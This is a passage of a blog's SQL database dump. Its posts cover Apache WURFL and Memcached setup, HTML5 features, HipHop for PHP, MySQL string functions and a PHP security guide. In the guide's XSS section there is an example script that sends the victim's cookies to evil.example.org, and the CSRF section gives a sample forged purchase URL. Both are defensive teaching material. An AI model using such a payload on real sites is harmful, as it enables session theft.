Apache2-WURFLFilter-X.XX/\r\n<b>perl</b> Makefile.PL\r\n<b>make</b> install\r\n\r\n<b>Installing Memcached</b>\r\n\r\nyum install memcached\r\n\r\nor\r\n\r\nrpm -Uhv <a href=\"http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm\">http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm</a>\r\n\r\n&nbsp;\r\n\r\n<b>After installing all above modules we have to  configure in apache config file like below.</b>\r\n\r\n&nbsp;\r\n\r\nPerlSetEnv AMFHome /home/xxx\r\n\r\nPerlSetEnv AMFMobileHome /home/xxx\r\n\r\nPerlSetEnv CacheDirectoryStore /tmp/xxx\r\n\r\nPerlTransHandler +Apache2::AMFWURFLFilter\r\n\r\nPerlSetEnv DownloadWurflURL http://downloads.sourceforge.net/wurfl/wurfl-latest.zip\r\n\r\nPerlSetEnv LoadWebPatch true\r\n\r\nPerlSetEnv PatchWurflNetDownload true\r\n\r\nPerlSetEnv PatchWurflUrl http://wurfl.sourceforge.net/web_browsers_patch.xml\r\n\r\nPerlSetEnv ServerMemCached 127.0.0.1:11211,/var/sock/memcahed\r\n\r\nPerlTransHandler +Apache2::AMFWURFLFilterMemcached\r\n\r\nPerlSetEnv ResizeImageDirectory /tmp/xx\r\n\r\n<span style=\"text-decoration: underline;\">40.</span>  <span style=\"text-decoration: underline;\">Blog40:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  HTML5 Features\r\n\r\n\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n<h1>HTML5 Features</h1>\r\n&nbsp;\r\n<h2>1.      New Doctype</h2>\r\n<b>( HTML )</b>       &lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\r\n\r\n<b>( HTML5 )</b>    &lt;!DOCTYPE html&gt;\r\n<h2>2.      The Figure Element</h2>\r\n<b>( HTML )</b>       &lt;img src=\"image/image.jpg\" alt=\"image\" title=” image” /&gt;\r\n\r\n&lt;p&gt;Image of Mars. &lt;/p&gt;\r\n\r\n<b>( HTML5 )</b>\r\n\r\n&lt;figure&gt;\r\n\r\n&lt;img src=\"image/image.jpg\" alt=\"image\" title=”image” /&gt;\r\n\r\n&lt;figcaption&gt;\r\n\r\n&lt;p&gt;This is an image of something interesting.&lt;/p&gt;\r\n\r\n&lt;/figcaption&gt;\r\n\r\n&lt;/figure&gt;\r\n<h2>3.      No More <code>Types</code> for Scripts and Links</h2>\r\n<b>( HTML )</b>     &lt;link rel=\"stylesheet\" href=\"css/ stylesheet.css\" type=\"text/css\" /&gt;\r\n\r\n&lt;script src=\"path/to/script.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\r\n\r\n<b>( HTML5 )</b>  &lt;link rel=\"stylesheet\" href=\"css/stylesheet.css\" /&gt;\r\n\r\n&lt;script src=\"path/to/script.js\"&gt;&lt;/script&gt;\r\n<h2>4.      To Quote or Not to Quote.</h2>\r\n<b>( HTML )</b>     &lt;p class=”myclass” id=”someId”&gt; Welcome.&lt;/p&gt;\r\n\r\n<b>( HTML5 )</b>  &lt;p class=myclass id=someId&gt; Welcome.&lt;/p&gt;\r\n\r\n&nbsp;\r\n<h2>5. Email Inputs</h2>\r\n<b>( HTML5 )</b>\r\n\r\n&lt;!DOCTYPE html&gt;\r\n\r\n&lt;html lang=\"en\"&gt;\r\n\r\n&lt;head&gt;\r\n\r\n&lt;meta charset=\"utf-8\"&gt;\r\n\r\n&lt;title&gt;untitled&lt;/title&gt;\r\n\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n\r\n&lt;form action=\"\" method=\"get\"&gt;\r\n\r\n&lt;label for=\"email\"&gt;Email:&lt;/label&gt;\r\n\r\n&lt;input id=\"email\" name=\"email\" type=\"email\" /&gt;\r\n\r\n&lt;button type=\"submit\"&gt; Submit Form &lt;/button&gt;\r\n\r\n&lt;/form&gt;\r\n\r\n&lt;/body&gt;\r\n\r\n&lt;/html&gt;\r\n\r\n&nbsp;\r\n<h2><code>6.</code><code>  </code>The Semantic <code>Header</code> and <code>Footer</code></h2>\r\n<b>( HTML )</b>      &lt;div id=\"header\"&gt;    ...  &lt;/div&gt;\r\n\r\n&lt;div id=\"footer\"&gt;       ...  &lt;/div&gt;\r\n\r\n<b>( HTML5 )</b>    &lt;header&gt;       ...      &lt;/header&gt;\r\n\r\n&lt;footer&gt;          ...      &lt;/footer&gt;\r\n<h2>7.Audio Support</h2>\r\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;audio&gt;</code> element.\r\n\r\n&lt;audio autoplay=\"autoplay\" controls=\"controls\"&gt;\r\n\r\n&lt;source src=\"file.ogg\" /&gt;\r\n\r\n&lt;source src=\"file.mp3\" /&gt;\r\n\r\n&lt;a href=\"file.mp3\"&gt;Download this file.&lt;/a&gt;\r\n\r\n&lt;/audio&gt;\r\n<h2>8. Video Support</h2>\r\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;vidio&gt;</code> element.\r\n\r\n&lt;video controls preload&gt;\r\n\r\n&lt;source src=\"cohagenPhoneCall.ogv\" type=\"video/ogg; codecs=\'vorbis, theora\'\" /&gt;\r\n\r\n&lt;source src=\"filename.mp4\" type=\"video/mp4; \'codecs=\'avc1.42E01E, mp4a.40.2\'\" /&gt;\r\n\r\n&lt;p&gt;Your browser is old.&lt;a href=\"cohagenPhoneCall.mp4\"&gt;Download this video instead.&lt;/a&gt;&lt;/p&gt;\r\n\r\n&lt;/video&gt;\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<pre><span style=\"text-decoration: underline;\"> </span></pre>\r\n<pre></pre>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<span style=\"text-decoration: underline;\"> </span></td>\r\n</tr>\r\n</tbody>\r\n</table>','PHP Security Guide','','publish','open','open','','php-security-guide','','','2014-07-21 09:44:09','2014-07-21 09:44:09','',0,'http://localhost/yalavarthitechnologies/blog/?p=112',0,'post','',0),(113,1,'2014-07-21 09:37:49','2014-07-21 09:37:49','<strong>Summary:</strong>\r\n\r\n<strong>What is HipHop</strong>\r\n\r\nHipHop for PHP transforms PHP source code into highly optimized C++. It was developed by Facebook and was released as open source in early 2010.\r\nHipHop transforms your PHP source code into highly optimized C++ and then compiles it with g++ to build binary files. You keep coding in simpler PHP, then HipHop executes your source code in a semantically equivalent manner and sacrifices some rarely used features – such as eval() – in exchange for improved performance.\r\nFacebook sees about a 50% reduction in CPU usage when serving equal amounts of Web traffic when compared to Apache and PHP. Facebook’s API tier can serve twice the traffic using 30% less CPU.\r\n\r\n<strong>Why HipHop</strong>\r\n\r\nOne of the explicit design goals leading into HipHop was the ability to continue writing complex logic directly within PHP. Companies with large PHP codebases will generally rewrite their complex functionality directly as PHP extensions in either C or C++. Doing so ends up reducing the number of people who are able to work on the company’s entire codebase. By keeping this logic in PHP, Facebook is able to move fast and maintain a high number of engineers who are able to work across the entire codebase.\r\n\r\nKnow more about HipHop <a href=\"http://www.ustream.tv/recorded/4409735\">click here</a>\r\n\r\nReference :  <a href=\"http://developers.facebook.com/blog/post/358/\">http://developers.facebook.com/blog/post/358/</a>','Facebook Technology Tasting - HipHop for PHP','','inherit','open','open','','111-revision-v1','','','2014-07-21 09:37:49','2014-07-21 09:37:49','',111,'http://localhost/yalavarthitechnologies/blog/?p=113',0,'revision','',0),(114,1,'2014-07-21 09:47:20','0000-00-00 00:00:00','<strong>Summary:</strong>\n<table border=\"1\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ascii\">ASCII()</a></td>\n<td>Return numeric value of left-most character</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bin\">BIN()</a></td>\n<td>Return a string representation of the argument</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bit-length\">BIT_LENGTH()</a></td>\n<td>Return length of argument in bits</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">CHAR_LENGTH()</a></td>\n<td>Return number of characters in argument</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char\">CHAR()</a></td>\n<td>Return the character for each integer passed</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_character-length\">CHARACTER_LENGTH()</a></td>\n<td>A synonym for CHAR_LENGTH()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat-ws\">CONCAT_WS()</a></td>\n<td>Return concatenate with separator</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat\">CONCAT()</a></td>\n<td>Return concatenated string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_elt\">ELT()</a></td>\n<td>Return string at index number</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_export-set\">EXPORT_SET()</a></td>\n<td>Return a string such that for every bit set in the value bits, you get an on string and for every unset bit, you get an off string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_field\">FIELD()</a></td>\n<td>Return the index (position) of the first argument in the subsequent arguments</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_find-in-set\">FIND_IN_SET()</a></td>\n<td>Return the index position of the first argument within the second argument</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_format\">FORMAT()</a></td>\n<td>Return a number formatted to specified number of decimal places</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_hex\">HEX()</a></td>\n<td>Return a hexadecimal representation of a decimal or string value</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_insert\">INSERT()</a></td>\n<td>Insert a substring at the specified position up to the specified number of characters</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_instr\">INSTR()</a></td>\n<td>Return the index of the first occurrence of substring</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lcase\">LCASE()</a></td>\n<td>Synonym for LOWER()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_left\">LEFT()</a></td>\n<td>Return the leftmost number of characters as specified</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_length\">LENGTH()</a></td>\n<td>Return the length of a string in bytes</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_like\">LIKE</a></td>\n<td>Simple pattern matching</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_load-file\">LOAD_FILE()</a></td>\n<td>Load the named file</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_locate\">LOCATE()</a></td>\n<td>Return the position of the first occurrence of substring</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lower\">LOWER()</a></td>\n<td>Return the argument in lowercase</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lpad\">LPAD()</a></td>\n<td>Return the string argument, left-padded with the specified string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ltrim\">LTRIM()</a></td>\n<td>Remove leading spaces</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_make-set\">MAKE_SET()</a></td>\n<td>Return a set of comma-separated strings that have the corresponding bit in bits set</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/fulltext-search.html#function_match\">MATCH</a></td>\n<td>Perform full-text search</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_mid\">MID()</a></td>\n<td>Return a substring starting from the specified position</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_not-like\">NOT LIKE</a></td>\n<td>Negation of simple pattern matching</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_not-regexp\">NOT REGEXP</a></td>\n<td>Negation of REGEXP</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_octet-length\">OCTET_LENGTH()</a></td>\n<td>A synonym for LENGTH()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ord\">ORD()</a></td>\n<td>Return character code for leftmost character of the argument</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_position\">POSITION()</a></td>\n<td>A synonym for LOCATE()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_quote\">QUOTE()</a></td>\n<td>Escape the argument for use in an SQL statement</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">REGEXP</a></td>\n<td>Pattern matching using regular expressions</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_repeat\">REPEAT()</a></td>\n<td>Repeat a string the specified number of times</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_replace\">REPLACE()</a></td>\n<td>Replace occurrences of a specified string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_reverse\">REVERSE()</a></td>\n<td>Reverse the characters in a string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_right\">RIGHT()</a></td>\n<td>Return the specified rightmost number of characters</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">RLIKE</a></td>\n<td>Synonym for REGEXP</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rpad\">RPAD()</a></td>\n<td>Append string the specified number of times</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rtrim\">RTRIM()</a></td>\n<td>Remove trailing spaces</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_soundex\">SOUNDEX()</a></td>\n<td>Return a soundex string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#operator_sounds-like\">SOUNDS LIKE</a></td>\n<td>Compare sounds</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_space\">SPACE()</a></td>\n<td>Return a string of the specified number of spaces</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#function_strcmp\">STRCMP()</a></td>\n<td>Compare two strings</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substr\">SUBSTR()</a></td>\n<td>Return the substring as specified</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring-index\">SUBSTRING_INDEX()</a></td>\n<td>Return a substring from a string before the specified number of occurrences of the delimiter</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring\">SUBSTRING()</a></td>\n<td>Return the substring as specified</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_trim\">TRIM()</a></td>\n<td>Remove leading and trailing spaces</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ucase\">UCASE()</a></td>\n<td>Synonym for UPPER()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_unhex\">UNHEX()</a></td>\n<td>Convert each pair of hexadecimal digits to a character</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_upper\">UPPER()</a></td>\n<td>Convert to uppercase</td>\n</tr>\n</tbody>\n</table>\nReference Site: <a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length</a>','Mysql String Functions','','draft','open','open','','','','','2014-07-21 09:47:20','2014-07-21 09:47:20','',0,'http://localhost/yalavarthitechnologies/blog/?p=114',0,'post','',0),(115,1,'2014-07-21 09:44:09','2014-07-21 09:44:09','<strong>Summary:</strong>\r\n\r\n<b>PHP Security Guide 1.0      </b>\r\n\r\n<b>Updation  Date : 21-02-2011</b>\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">\r\n<h2>Forms and URLs</h2>\r\n<h3>1.Cross-Site Scripting</h3>\r\nCross-site scripting (XSS) is deservedly one of the best known types of attacks. It plagues web applications on all platforms, and PHP applications are certainly no exception.\r\n\r\nAny application that displays input is at riskweb-based email applications, forums, guestbooks, and even blog aggregators. In fact, most web applications display input of some typethis is what makes them interesting, but it is also what places them at risk. If this input is not properly filtered and escaped, a cross-site scripting vulnerability exists.\r\n\r\nThis approach places a significant amount of trust in the values of both $comment and $name. Imagine that one of them contained the following:\r\n\r\n&lt;script&gt;\r\n\r\ndocument.location =\r\n\r\n\'http://evil.example.org/steal.php?cookies=\' +\r\n\r\ndocument.cookie\r\n\r\n&lt;/script&gt;\r\n\r\nThis is a common mistake, and it is proliferated by many bad habits that have become commonplace. Luckily, the mistake is easy to avoid. Because the risk exists only when you output tainted, unescaped data, you can simply make sure that you filter input and escape output as described in Chapter 1.\r\n\r\nAt the very least, you should use htmlentities( ) to escape any data that you send to the clientthis function converts all special characters into their HTML entity equivalents. Thus, any character that the browser interprets in a special way is converted to its HTML entity equivalent so that its original value is preserved.\r\n\r\nThe following replacement for the code to display a comment is a much safer approach:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$html = array();\r\n\r\n&nbsp;\r\n\r\n/* Filter Input ($name, $comment) */\r\n\r\n&nbsp;\r\n\r\n$html[\'name\'] = htmlentities($clean[\'name\'], ENT_QUOTES, \'UTF-8\');\r\n\r\n$html[\'comment\'] = htmlentities($clean[\'comment\'], ENT_QUOTES, \'UTF-8\');\r\n\r\n&nbsp;\r\n\r\necho \"&lt;p&gt;{$html[\'name\']} writes:&lt;br /&gt;\";\r\n\r\necho \"&lt;blockquote&gt;{$html[\'comment\']}&lt;/blockquote&gt;&lt;/p&gt;\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n<h3>2.Cross-Site Request Forgeries</h3>\r\nA cross-site request forgery (CSRF) is a type of attack that allows an attacker to send arbitrary HTTP requests from a victim. The victim is an unknowing accomplicethe forged requests are sent by the victim, not the attacker. Thus, it is very difficult to determine when a request represents a CSRF attack. In fact, if you have not taken specific steps to mitigate the risk of CSRF attacks, your applications are most likely vulnerable.\r\n\r\nThe buy.php script processes this information:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nsession_start();\r\n\r\n$clean = array();\r\n\r\n&nbsp;\r\n\r\nif (isset($_REQUEST[\'item\'] &amp;&amp; isset($_REQUEST[\'quantity\']))\r\n\r\n{\r\n\r\n/* Filter Input ($_REQUEST[\'item\'], $_REQUEST[\'quantity\']) */\r\n\r\n&nbsp;\r\n\r\nif (buy_item($clean[\'item\'], $clean[\'quantity\']))\r\n\r\n{\r\n\r\necho \'&lt;p&gt;Thanks for your purchase.&lt;/p&gt;\';\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\necho \'&lt;p&gt;There was a problem with your order.&lt;/p&gt;\';\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nAn attacker can first use your form as intended to observe the behavior. For example, after purchasing a single pen, the attacker knows to expect a message of thanks when a purchase is successful. After noting this, the attacker can then try to see whether GET data can be used to perform the same action by visiting the following URL:\r\n\r\nhttp://store.example.org/buy.php?item=pen&amp;quantity=1\r\nIf this is also successful, then the attacker now knows the format of a URL that causes an item to be purchased when visited by an authenticated user. This situation makes a CSRF attack very easy because the attacker only needs to cause a victim to visit this URL.\r\n\r\nWhile there are several possible ways to launch a CSRF attack, using an embedded resource such as an image is the most common. To understand this particular approach, it is necessary to understand how a browser requests these resources.\r\n\r\n&nbsp;\r\n\r\nThe most important thing you can do is to try to force the use of your own forms. If a user sends a request that looks as though it is the result of a form submission, it makes sense to treat it with suspicion if the user has not recently requested the form that is supposedly being submitted. Consider the following replacement for the HTML form in the sample application:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nsession_start();\r\n\r\n$token = md5(uniqid(rand(), TRUE));\r\n\r\n$_SESSION[\'token\'] = $token;\r\n\r\n$_SESSION[\'token_time\'] = time();\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;form action=\"buy.php\" method=\"POST\"&gt;\r\n\r\n&lt;input type=\"hidden\" name=\"token\" value=\"&lt;?php echo $token; ?&gt;\" /&gt;\r\n\r\n&lt;p&gt;\r\n\r\nItem:\r\n\r\n&lt;select name=\"item\"&gt;\r\n\r\n&lt;option name=\"pen\"&gt;pen&lt;/option&gt;\r\n\r\n&lt;option name=\"pencil\"&gt;pencil&lt;/option&gt;\r\n\r\n&lt;/select&gt;&lt;br /&gt;\r\n\r\nQuantity: &lt;input type=\"text\" name=\"quantity\" /&gt;&lt;br /&gt;\r\n\r\n&lt;input type=\"submit\" value=\"Buy\" /&gt;\r\n\r\n&lt;/p&gt;\r\n\r\n&lt;/form&gt;\r\n\r\n&nbsp;\r\n\r\nWith this simple modification, a CSRF attack must include a valid token in order to perfectly mimic the form submission. Because the token is stored in the user\'s session, it is also necessary that the attacker uses the token unique to the victim. This effectively limits any attack to a single user, and it requires that the attacker obtain a valid token that belongs to another userusing your own token is useless when forging requests from someone else.\r\n\r\nThe token can be checked with a simple conditional statement:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nif (isset($_SESSION[\'token\']) &amp;&amp;\r\n\r\n$_POST[\'token\'] == $_SESSION[\'token\'])\r\n\r\n{\r\n\r\n/* Valid Token */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nThe validity of the token can also be limited to a small window of time, such as five minutes:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$token_age = time() - $_SESSION[\'token_time\'];\r\n\r\n&nbsp;\r\n\r\nif ($token_age &lt;= 300)\r\n\r\n{\r\n\r\n/* Less than five minutes has passed. */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nBy including a token in your forms, you practically eliminate the risk of CSRF attacks. Take this approach for any form that performs an action.\r\n<h3>3.Spoofed Form Submissions</h3>\r\nSpoofing a form is almost as easy as manipulating a URL. After all, the submission of a form is just an HTTP request sent by the browser. The request format is somewhat determined by the form, and some of the data within the request is provided by the user.\r\n\r\n&lt;form action=\"http://example.org/path/to/process.php\" method=\"POST\"&gt;\r\n\r\n&nbsp;\r\n\r\nThis form can be located anywhere, and a request sent using this form is identical to a request sent using the original form. Knowing this, an attacker can view the source of a page, save that source to his server, and modify the action attribute to specify an absolute URL. With these modifications in place, the attacker can alter the form as desiredwhether to eliminate a maxlength restriction, eliminate client-side data validation, alter the value of hidden form elements, or modify form element types to provide more flexibility. These modifications help an attacker to submit arbitrary data to the server, and the process is very easy and convenientthe attacker doesn\'t have to be an expert.\r\n\r\nAlthough it might seem surprising, form spoofing isn\'t something you can prevent, nor is it something you should worry about. As long as you properly filter input, users have to abide by your rules. However they choose to do so is irrelevant.\r\n\r\n&nbsp;\r\n<h2>Databases and SQL</h2>\r\n&nbsp;\r\n\r\nMany PHP developers fail to filter data coming from the database because only filtered data is stored therein. While the security risk inherent in this approach is slight, it is still not a best practice and not an approach that I recommend. This approach places trust in the security of the database, and it also violates the principle of Defense in Depth. Remember, redundant safeguards have value, and this is a perfect example. If malicious data is somehow injected into the database, your filtering logic can catch it, but only if such logic exists.\r\n\r\n&nbsp;\r\n<h3>1.SQL Injection : SQL injection is one of the most common vulnerabilities in PHP applications. What is particularly surprising about this fact is that an SQL injection vulnerability requires two failures on the part of the developera failure to filter data as it enters the application (filter input), and a failure to escape data as it is sent to the database (escape output). Neither of these crucial steps should ever be omitted, and both steps deserve particular attention in an attempt to minimize errors.</h3>\r\nAn attacker presented with this form begins to speculate about the type of query that you might be using to validate the username and password provided.\r\n\r\nSQL injection is easily avoided\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$mysql = array();\r\n\r\n&nbsp;\r\n\r\n$clean[\'last_name\'] = \"O\'Reilly\";\r\n\r\n$mysql[\'last_name\'] = mysql_real_escape_string($clean[\'last_name\']);\r\n\r\n&nbsp;\r\n\r\n$sql = \"INSERT\r\n\r\nINTO   user (last_name)\r\n\r\nVALUES (\'{$mysql[\'last_name\']}\')\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n<h3>2.Exposed Data</h3>\r\nAnother concern regarding databases is the exposure of sensitive data. Whether you\'re storing credit card numbers, social security numbers, or something else, you want to make sure that the data in your database is safe.\r\n\r\nWhile protecting the security of the database itself is outside the scope of this book (and most likely outside a PHP developer\'s responsibility), you can encrypt the data that is most sensitive, so that a compromise of the database is less disastrous as long as the key is kept safe.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">\r\n<h2>Includes</h2>\r\nThis chapter addresses security issues related to the use of <i>includes</i>files that you include or require in a script to divide your application into separate logical units.\r\n<h3>1.Exposed Source Code</h3>\r\nA major concern regarding includes is the exposure of source code. This concern is largely a result of the following common situation:\r\n<ul>\r\n	<li>Includes use a .inc file extension.</li>\r\n	<li>Includes are stored within document root.</li>\r\n	<li>Apache has no idea what type of resource a .inc file is.</li>\r\n	<li>Apache has a DefaultType of text/plain.</li>\r\n</ul>\r\nBy storing as much of your PHP code outside of document root as possible, you limit this risk of exposure. At the very least, all includes should be stored outside of document root as a best practice.\r\n\r\nSeveral practices can limit the likelihood of source code exposure but not address the root cause of the problem. These include instructing Apache to process .inc files as PHP, using a .php file extension for includes, and instructing Apache to deny requests for .inc resources:\r\n\r\n&lt;Files ~ \"\\.inc$\"&gt;\r\n\r\nOrder allow,deny\r\n\r\nDeny from all\r\n\r\n&lt;/Files&gt;\r\n\r\n&nbsp;\r\n\r\nWhile these approaches have merit, none of them is as strong as placing includes outside of document root. Do not rely on these approaches for protection. At most, they can be used for Defense in Depth.\r\n<h3>2.Backdoor URLs</h3>\r\nBackdoor URLs are resources that can be accessed directly via URL when direct access is unintended or undesired. For example, a web application might display sensitive information to authenticated users:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$authenticated = FALSE;\r\n\r\n$authenticated = check_auth();\r\n\r\n&nbsp;\r\n\r\n/* ... */\r\n\r\n&nbsp;\r\n\r\nif ($authenticated)\r\n\r\n{\r\n\r\ninclude \'./sensitive.php\';\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nBecause sensitive.php is within document root, it can be accessed directly from a browser, bypassing the intended access control. This is because every resource within document root has a corresponding URL. In some cases, these scripts may perform a critical action, escalating the risk.\r\n\r\nIn order to prevent backdoor URLs, make sure you store your includes outside of document root. The only files that should be stored within document root are those that absolutely must be accessible via URL.\r\n<h3>3.Code Injection</h3>\r\nAn extremely dangerous situation exists when you use tainted data as the leading part of a dynamic 